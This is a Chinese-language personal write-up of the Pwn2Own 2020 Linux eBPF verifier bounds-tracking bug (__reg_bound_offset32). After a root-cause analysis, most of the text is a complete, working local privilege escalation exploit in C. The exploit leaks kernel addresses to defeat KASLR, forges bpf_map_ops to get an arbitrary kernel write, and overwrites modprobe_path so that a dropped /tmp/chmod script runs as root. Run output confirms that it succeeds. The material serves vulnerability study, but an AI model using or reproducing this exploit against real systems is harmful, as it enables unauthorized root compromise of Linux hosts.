pwn2own 2020 上Manfred Paul (@_manfp) 利用了ebpf 的一个漏洞完成了ubuntu的提权,4月16号的时候zdi公开了manfp 的writeup。
这篇文章中,参考zdi上的writeup, 我会分析这个漏洞的成因,然后写一下这个洞的 exp, 纯属个人笔记,理解有误的地方欢迎指正。
环境搭建
文章涉及到的文件都放在了这里, 我用的是linux-5.6 版本的内核,在 ubuntu1804 下编译测试。
漏洞分析
这个漏洞是在commit 581738a681b6引入的, 它添加了一个函数
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}
漏洞发生在 verifier
阶段,这个阶段会模拟运行传进来的bpf指令,bpf_reg_state
用来保存寄存器的状态信息
ptype struct bpf_reg_state
type = struct bpf_reg_state {
enum bpf_reg_type type;
union {
u16 range;
struct bpf_map *map_ptr;
u32 btf_id;
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
struct tnum var_off;
s64 smin_value;//有符号时可能的最小值
s64 smax_value;//有符号时可能的最大值
u64 umin_value;
u64 umax_value;
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
bool precise;
}
smin_value
和 smax_value
保存当寄存器被当做是有符号数的时候可能的取值范围,同样umin_value
和umax_value
表示的是无符号的时候。 var_of
是struct tnum
类型
ptype struct tnum
type = struct tnum {
u64 value;
u64 mask;
}
它只有两个成员
value
: 某个bit为1 表示这个寄存器的这个bit 确定是1
mask
: 某个bit 为1表示这个 bit 是未知的
举个栗子,假如value
是 010
(二进制表示) , mask
是100
, 那么就是经过前面的指令的模拟执行之后,可以确定这个寄存器的 第二个bit 一定是 1, 第三个 bit 在mask
里面设置了,表示这里不确定,可以是1或者是0。详细的文档可以在Documentnetworking/filter.txt
里面找到。
对于跳转指令, 假如当前遇到了下面这样一条指令,
BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)
会有下面这样两行代码来更新状态,false_reg
和true_reg
分别代表两个分支的状态, 这是我们前面__reg_bound_offset32
的64位版本
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);
这条指令 r5 >= 8
的时候 , 会跳到pc+3
的地方执行(正确分支), 那么在错误的分支上,r5
肯定是 小于 8 了,
__reg_bound_offset32
会在使用BPF_JMP32
的时候调用,ebpf 的BPF_JMP
寄存器之间是64bit比较的,换成BPF_JMP32
的时候就只会比较低32bit. 我们看看他是怎么做的
首先是把之前状态转移的umin_value
和umax_value
只取低32bit , 创建一个新的 tnum, lo32
是取原来 var_off
的 低32bit
struct tnum tnum_range(u64 min, u64 max)
{
u64 chi = min ^ max, delta;
// 从右往左数,第一个为1的bit 是哪一位(从1开始数), 表示没有1
// 如: fls64(0100) == 3
u8 bits = fls64(chi);
/* special case, needed because 1ULL << 64 is undefined */
if (bits > 63)
return tnum_unknown;
/* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.
|* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return
|* constant min (since min == max).
|*/
delta = (1ULL << bits) - 1;
return TNUM(min & ~delta, delta);
}
//.....
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
对于tnum_intersect
如果a
和b
有某一个bit 是1, 那么代表已经确定这个bit是1了, 所以这里用|
的方式, 两者信息整合起来最后生成一个新的var_off
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;
v = a.value | b.value;
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}
//...
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
漏洞发生的原因是这里的实现方式有问题,计算range
的时候直接取低32bit,因为原本的umin_value
和 umax_value
都是64bit的, 假如计算之前umin_value == 1
, umax_value == 1 0000 0001
, 取低32bit之后他们都会等于1,这样range计算完之后TNUM(min & ~delta, delta);
, min = 1
, delta = 0
然后到tnum_intersect
函数, 假设a.value = 0
,计算后的v == 1
,mu ==0
, 最后得到的 var_off
就是固定值1
, 也就是说,不管寄存器真实的值是怎么样,在verifier
过程都会它当做是1。
调试分析
我们调试看看内存具体是怎么样的, 首先我们创建一个array map, ebpf指令中, 让r9 = map[1]
, r6
是我们要用来测试漏洞的寄存器,从map[1]
中加载值到r6
中(具体参考后面的exp), 这样 verifier
就不知道 r6
是什么,这时候的var_off->value = 0
BPF_LDX_MEM(BPF_DW,6,9,0),
因为我的调试环境没有办法运行bpftool
, 首先在kernel/bpf/syscall.c:125
map_create 的时候获取一下 map 的地址值
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
//....
map = ops->map_alloc(attr); //<====
if (IS_ERR(map)) // 125
return map;
//...
return map;
}
接下来是下面的指令, 在pc+1
的地方 umin_value
变成1
BPF_JMP_IMM(BPF_JGE,6,1,1),
BPF_EXIT_INSN(),
然后是下面的指令, 这个时候 r8 = 0x100000001
, BPF_JLE
的 pc+1
分支上, umax_value = 0x100000001
`
BPF_MOV64_IMM(8,0x1),
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE tnum umax 0x100000001*/
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
然后时候 jmp32 来触发漏洞了
BPF_JMP32_IMM(BPF_JNE,6,5,1),
BPF_EXIT_INSN(),
在·__reg_bound_offset32
下个断点,我这里是在kernel/bpf/verifier.c:1038
, false_reg
函数执行前后值如下
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
//--- 执行后
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
true_reg
在函数执行前后的值如下
var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// --- 执行后
var_off = {
value = 0x1,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
因为r6
是从 map[0]
load 进来的,实际运行的时候可以是任何值,这里的判断错误了,后面我们就可以用它来绕过一些检查,我们来看看具体怎么样利用。
漏洞利用
地址泄露
在前面的指令执行完之后, 执行下面指令,我们让一开始r6 = 2
, 这样 verifier
过程到了这里,r6
会被认为是 1,
( 1&2 )>>1 == 0
, 但是实际运行的时候 (2 & 2) >> 1 ==1
,
BPF_ALU64_IMM(BPF_AND, 6, 2),
BPF_ALU64_IMM(BPF_RSH, 6, 1),
接下来我们让r6 = r6 * 0x110
, 这样 verifier
过程仍然认为它是0,但是运行过程的实际值确实 0x110
BPF_ALU64_IMM(BPF_MUL,6,0x110),
我们获取一个map,我们叫它expmap
把, r7 = expmap[0]
BPF_MOV64_REG(7,0),
然后 r7 = r7 - r6
, 因为 r7
是指针类型, verifier
会根据map的 size 来检查边界,但是verifier
的时候认为r6 ==0
,r7 - 0 == r7
, 所以可以通过检查, 但是运行的时候 我们可以让r7 = r7 - 0x110
, 然后在 BPF_LDX_MEM(BPF_DW,8,7,0),
就可以做越界读写了。
BPF_ALU64_REG(BPF_SUB,7,6)
ebpf 用bpf_map
来保存map 的信息, 也是我们前面map_create
的时候得到的那个地址
gef➤ kstruct bpf_map
ptype struct bpf_map
type = struct bpf_map {
const struct bpf_map_ops *ops;
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}
在 map_lookup_elem
的时候, 使用的是 bpf_array
,它的开头是bpf_map
, 然后value
就是map 的每一个项的数组,也就是说 bpf_map
刚好在r7
的低地址处(r7
是第一个 value), 这里查看内存可以知道 map
在 r7 - 0x110
的地方
ptype struct bpf_array
type = struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[];//<--- elem
void *ptrs[];
void *pptrs[];
};
}
于是我们就可以读写 bpf_map
来做后续的利用
首先是地址泄露, bpf_map
有一个const struct bpf_map_ops *ops;
字段,当我们创建的map是BPF_MAP_TYPE_ARRAY
的时候保存的是array_map_ops
, array_map_ops
是一个全局变量,保存在rdata段,通过它我们就可以计算kaslr的偏移,绕过kaslr, 同时运行的时候可以在下面wait_list
处泄露出map 的地址
gef➤ p/a *(struct bpf_array *)0xffff88800d878000
$5 = {
map = {
ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露内核地址
inner_map_meta = 0x0 <fixed_percpu_data>,
security = 0xffff88800e93f0f8,
map_type = 0x2 <fixed_percpu_data+2>,
key_size = 0x4 <fixed_percpu_data+4>,
value_size = 0x2000 <irq_stack_backing_store>,
max_entries = 0x1 <fixed_percpu_data+1>,
//...
usercnt = {
//..
wait_list = {
next = 0xffff88800d8780c0,//<-- 泄露 map 地址
prev = 0xffff88800d8780c0
}
},
writecnt = 0x0 <fixed_percpu_data>
},
elem_size = 0x2000 <irq_stack_backing_store>,
index_mask = 0x0 <fixed_percpu_data>,
aux = 0x0 <fixed_percpu_data>,
{
value = 0xffff88800d878110,//<-- r7
ptrs = 0xffff88800d878110,
pptrs = 0xffff88800d878110
}
}
任意内存写
我们可以用r7
写入 ops = 0xffffffff82016340 <array_map_ops>
, 改成我们自己的fake_ops
, 因为前面我们已经泄露出map 的地址了,那么完全可以用map_update_elem
伪造一个ops
, 然后改一下指针就可以劫持控制流了,zdi上的writeup 用了一个更好的办法。
gef➤ p/a *(struct bpf_map_ops *)0xffffffff82016340
$11 = {
map_alloc_check = 0xffffffff8116ec70 <array_map_alloc_check>,
map_alloc = 0xffffffff8116fa00 <array_map_alloc>,
map_release = 0x0 <fixed_percpu_data>,
map_free = 0xffffffff8116f2d0 <array_map_free>,
map_get_next_key = 0xffffffff8116ed50 <array_map_get_next_key>,
map_release_uref = 0x0 <fixed_percpu_data>,
map_lookup_elem_sys_only = 0x0 <fixed_percpu_data>,
map_lookup_batch = 0xffffffff81159b30 <generic_map_lookup_batch>,
map_lookup_and_delete_batch = 0x0 <fixed_percpu_data>,
map_update_batch = 0xffffffff81159930 <generic_map_update_batch>,
map_delete_batch = 0x0 <fixed_percpu_data>,
map_lookup_elem = 0xffffffff8116edd0 <array_map_lookup_elem>,
map_update_elem = 0xffffffff8116f1c0 <array_map_update_elem>,
map_delete_elem = 0xffffffff8116ed80 <array_map_delete_elem>,
map_push_elem = 0x0 <fixed_percpu_data>,
map_pop_elem = 0x0 <fixed_percpu_data>,
map_peek_elem = 0x0 <fixed_percpu_data>,
map_fd_get_ptr = 0x0 <fixed_percpu_data>,
map_fd_put_ptr = 0x0 <fixed_percpu_data>,
map_gen_lookup = 0xffffffff8116f050 <array_map_gen_lookup>,
map_fd_sys_lookup_elem = 0x0 <fixed_percpu_data>,
map_seq_show_elem = 0xffffffff8116ee80 <array_map_seq_show_elem>,
map_check_btf = 0xffffffff8116f870 <array_map_check_btf>,
map_poke_track = 0x0 <fixed_percpu_data>,
map_poke_untrack = 0x0 <fixed_percpu_data>,
map_poke_run = 0x0 <fixed_percpu_data>,
map_direct_value_addr = 0xffffffff8116ece0 <array_map_direct_value_addr>,
map_direct_value_meta = 0xffffffff8116ed10 <array_map_direct_value_meta>,
map_mmap = 0xffffffff8116ee50 <array_map_mmap>
}
map_push_elem
会在 map_update_elem
的时候被调用, 它需要map 的类型是BPF_MAP_TYPE_QUEUE
或者BPF_MAP_TYPE_STACK
, 但是没有关系, map 上的任何内容都可以用 r7
来改,把map_type
改成BPF_MAP_TYPE_STACK
(0x17)之后,每次调用map_update_elem
时, 就会调用map_push_elem
static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key,
void *value, __u64 flags)
{
//...
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
¦ map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, flags);
//..
在 fake_ops
上, 我们把map_push_elem
改成map_get_next_key
一样的地址, 这里实际的map_get_next_key
是函数array_map_get_next_key
uint64_t fake_map_ops[]={
kaslr +0xffffffff8116ec70,
kaslr +0xffffffff8116fa00,
0x0,
kaslr +0xffffffff8116f2d0,
kaslr +0xffffffff8116ed50,// 5: map_get_next_key
0x0,
//...
kaslr +0xffffffff8116ed80,
kaslr +0xffffffff8116ed50,//15: map_push_elem
0x0,
0x0,
//...
}
array_map_get_next_key
实现在kernel/bpf/arraymap.c#L279
上, 传递给map_push_elem
的参数是value
(ring3 要update的数据)和 uattr
的 flags, 分别对应array_map_get_next_key
的 key
和 next_key
参数
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) { //index
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
加入我们运行 map_update_elem(mapfd, &key, &value, flags)
, 运行到 array_map_get_next_key
之后有
index == value[0]
, next = flags
, 最终效果是 *flags = value[0]
value[0] 和 flags 都是 ring3 下传入的值,前面我们已经泄露了内核地址,于是就可以通过修改 flags
的值写任意内存啦。写入的index要满足(index >= array->map.max_entries)
, map_entries
可以用r7
改成0xffff ffff
这里index 和 next 都是 u32 类型, 所以就是任意地址写 4个byte.
具体的操作是
- 1 写 r7 改写 ops 到 fake_ops ( map_push_elem 改成
array_map_get_next_key
地址) - 2 修改 map 的一些字段绕过一些检查
- spin_lock_off = 0
- max_entries =
0xffff ffff
- map_type =
BPF_MAP_TYPE_STACK
- 3 调用
map_update_elem
写内存
改modprobe_path 用root任意命令
可以任意地址写这个能力还是挺大的了,zdi 的writeup 上是通过搜索 init_pid_ns
, 找到当前的task_struct
, 然后写 cred 来获取一个 root shell。
既然已经可以任意地址写了,这里我的做法是改写modprobe_path
, 然后就可以用root 权限执行任意指令了,虽然不能起root shell, 但是也是可以达到提权目的了(主要是懒 ? )
/tmp
目录下生成 /tmp/chmod
和 /tmp/fake
, /tmp/chmod
可以改 /flag
文件的权限
void gen_fake_elf(){
system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod");
system("chmod +x /tmp/chmod");
system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
然后把modprobe_path
改成 /tmp/chmod
, 然后运行 /tmp/fake
就完事啦
expbuf64[0] = 0x706d742f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);
expbuf64[0] = 0x6d68632f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);
expbuf64[0] = 0x646f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);
exp
完整exp 如下,这里需要有两个头文件,bpf_insn.h
在samples/bpf/bpf_insn.h
下, 主要是生成指令的一些宏定义。
因为我本机的ubuntu 内核还不支持BPF_JMP32
所以还需要拷贝一个bpf.h
,它在include/uapi/linux/bpf.h
整理一下 bpf_insns
都做了什么, 这里我创建了两个map( ctrlmap
和 expmap
, 有点乱…)
第一次 writemsg()
( ctrlmap[0] = 2; ctrlmap[1] = 0
)
-
r9 指向 ctrlmap[0]
, load 之后r6 ==2
- 然后前面描述的漏洞触发过程, 最后
BPF_ALU64_IMM(BPF_MUL,6,0x110)
, 得到r6 == 0x100
-
r7 指向 expmap[0]
, 然后 sub r6, 获取bpf_map_ops
和 map 的地址,写入到ctrlmap[0][0x10]ctrlmap[0][0x18]
的位置 - exp 中
map_lookup_elem
获取 泄露的地址
第二次 writemsg()
( ctrlmap[0] = 2; ctrlmap[1] = 1
)
- 把
fake_map_ops
保存到expmap[0]
上, 修改原来的ops
指向fake_map_ops
- 改
spin_lock_off
,max_entries
,map_type
-
map_update_elem
改modprobe_path
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include "linux/bpf.h"
#include "bpf_insn.h"
int ctrlmapfd, expmapfd;
int progfd;
int sockets[2];
#define LOG_BUF_SIZE 65535
char bpf_log_buf[LOG_BUF_SIZE];
void gen_fake_elf(){
system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod");
system("chmod +x /tmp/chmod");
system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("n[-x64dump-] end ... n");
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lxn",num);
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version);
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries);
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);
struct bpf_insn insns[]={
BPF_LD_MAP_FD(BPF_REG_1,3),
BPF_ALU64_IMM(BPF_MOV,6,0),
BPF_STX_MEM(BPF_DW,10,6,-8),
BPF_MOV64_REG(7,10),
BPF_ALU64_IMM(BPF_ADD,7,-8),
BPF_MOV64_REG(2,7),
BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0,
BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE,0,0,1),
BPF_EXIT_INSN(),
// r9 = ctrlmap[0]
BPF_MOV64_REG(9,0),
//2
BPF_LDX_MEM(BPF_DW,6,9,0),
// offset
/*// BPF_JGE 看 tnum umin 1*/
BPF_ALU64_IMM(BPF_MOV,0,0),
BPF_JMP_IMM(BPF_JGE,6,1,1),
BPF_EXIT_INSN(),
BPF_MOV64_IMM(8,0x1),
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE 看 tnum umax 0x100000001*/
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
/*// JMP32 看 offset*/
BPF_JMP32_IMM(BPF_JNE,6,5,1),
BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_AND, 6, 2),
BPF_ALU64_IMM(BPF_RSH, 6, 1),
//r6 == offset
//r9 = inmap
/*BPF_ALU64_REG(BPF_MUL, 6, 7),*/
BPF_ALU64_IMM(BPF_MUL,6,0x110),
// outmap
BPF_LD_MAP_FD(BPF_REG_1,4),
BPF_ALU64_IMM(BPF_MOV,8,0),
BPF_STX_MEM(BPF_DW,10,8,-8),
BPF_MOV64_REG(7,10),
BPF_ALU64_IMM(BPF_ADD,7,-8),
BPF_MOV64_REG(2,7),
BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0,
BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE,0,0,1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(7,0),
BPF_ALU64_REG(BPF_SUB,7,6),
BPF_LDX_MEM(BPF_DW,8,7,0),
/*// inmap[2] == map_addr*/
BPF_STX_MEM(BPF_DW,9,8,0x10),
BPF_MOV64_REG(2,8),
BPF_LDX_MEM(BPF_DW,8,7,0xc0),
BPF_STX_MEM(BPF_DW,9,8,0x18),
BPF_STX_MEM(BPF_DW,7,8,0x40),
BPF_ALU64_IMM(BPF_ADD,8,0x50),
BPF_LDX_MEM(BPF_DW,2,9,0x8),
BPF_JMP_IMM(BPF_JNE,2,1,4),
BPF_STX_MEM(BPF_DW,7,8,0), //ops
BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//map type
BPF_ST_MEM(BPF_W,7,0x24,-1),// max_entries
BPF_ST_MEM(BPF_W,7,0x2c,0x0), //lock_off
BPF_ALU64_IMM(BPF_MOV,0,0),
BPF_EXIT_INSN(),
};
void prep(){
ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
if(ctrlmapfd<0){ __exit(strerror(errno));}
expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);
if(expmapfd<0){ __exit(strerror(errno));}
printf("ctrlmapfd: %d, expmapfd: %d n",ctrlmapfd,expmapfd);
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insns, sizeof(insns), "GPL", 0);
if(progfd < 0){ __exit(strerror(errno));}
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
__exit(strerror(errno));
}
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
__exit(strerror(errno));
}
}
void pwn(){
printf("pwning...n");
uint32_t key = 0x0;
char *ctrlbuf = malloc(0x100);
char *expbuf = malloc(0x3000);
uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;
uint64_t *expbuf64 = (uint64_t *)expbuf;
memset(ctrlbuf,'A',0x100);
for(int i=0;i<0x2000/8;i++){
expbuf64[i] = i+1;
}
ctrlbuf64[0]=0x2;
ctrlbuf64[1]=0x0;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();
// leak
memset(ctrlbuf,0,0x100);
bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf);
x64dump(ctrlbuf,8);
bpf_lookup_elem(expmapfd,&key,expbuf);
x64dump(expbuf,8);
uint64_t map_leak = ctrlbuf64[2];
uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;
uint64_t kaslr = map_leak - 0xffffffff82016340;
uint64_t modprobe_path = 0xffffffff82446d80 + kaslr;
loglx("map_leak",map_leak);
loglx("elem_leak",elem_leak);
loglx("kaslr",kaslr);
loglx("modprobe",modprobe_path);
uint64_t fake_map_ops[]={
kaslr +0xffffffff8116ec70,
kaslr +0xffffffff8116fa00,
0x0,
kaslr +0xffffffff8116f2d0,
kaslr +0xffffffff8116ed50,//get net key 5
0x0,
0x0,
kaslr +0xffffffff81159b30,
0x0,
kaslr +0xffffffff81159930,
0x0,
kaslr +0xffffffff8116edd0,
kaslr +0xffffffff8116f1c0,
kaslr +0xffffffff8116ed80,
kaslr +0xffffffff8116ed50,//map_push_elem 15
0x0,
0x0,
0x0,
0x0,
kaslr +0xffffffff8116f050,
0x0,
kaslr +0xffffffff8116ee80,
kaslr +0xffffffff8116f870,
0x0,
0x0,
0x0,
kaslr +0xffffffff8116ece0,
kaslr +0xffffffff8116ed10,
kaslr +0xffffffff8116ee50,
};
// overwrite bpf_map_ops
memcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops));
bpf_update_elem(expmapfd,&key,expbuf,0);
//overwrite modeprobe path
ctrlbuf64[0]=0x2;
ctrlbuf64[1]=0x1;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
writemsg();
expbuf64[0] = 0x706d742f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);
expbuf64[0] = 0x6d68632f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);
expbuf64[0] = 0x646f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);
}
int main(int argc,char **argv){
init();
prep();
pwn();
return 0;
}
static void __exit(char *err) {
fprintf(stderr, "error: %sn", err);
exit(-1);
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version){
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (uint64_t)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (uint64_t)license,
.log_buf = (uint64_t)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries){
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(int fd,void *key, void *value){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
运行效果
运行的效果如下,因为我用的是 改modprobe_path
的方式,可以像/tmp/chmod
写入任意命令,然后运行/tmp/fake
,就可以root权限运行/tmp/chmod
/home/pwn # ~ $ ls
~ $ cd /
/ $ ls -al flag
-rw------- 1 root 0 11 Apr 26 2019 flag
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ /exp
ctrlmapfd: 3, expmapfd: 4
pwning...
[-x64dump-] start :
0x0000000000000002 0x0000000000000000
0xffffffff82016340 0xffff88800d8740c0
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4141414141414141
[-x64dump-] end ...
[-x64dump-] start :
0x0000000000000001 0x0000000000000002
0x0000000000000003 0x0000000000000004
0x0000000000000005 0x0000000000000006
0x0000000000000007 0x0000000000000008
[-x64dump-] end ...
[lx] map_leak : 0xffffffff82016340
[lx] elem_leak : 0xffff88800d874110
[lx] kaslr : 0
[lx] modprobe : 0xffffffff82446d80
/ $ ls /tmp
chmod fake
/ $ cat /tmp/chmod
#!/bin/sh
/bin/chmod 777 /flag
/ $ /tmp/fake
/tmp/fake: line 1: : not found
/ $ ls -al flag
-rwxrwxrwx 1 root 0 11 Apr 26 2019 flag
/ $ cat flag
*CTF{test}
小结
总的来说,这个洞就是代码写错了:D , 本来是想着既然有 jmp32
看能不能优化一下什么的,然后写了个 bug. 这个洞也没有对应的补丁,linux做了版本回退直接删除了这个commit上新添加的代码。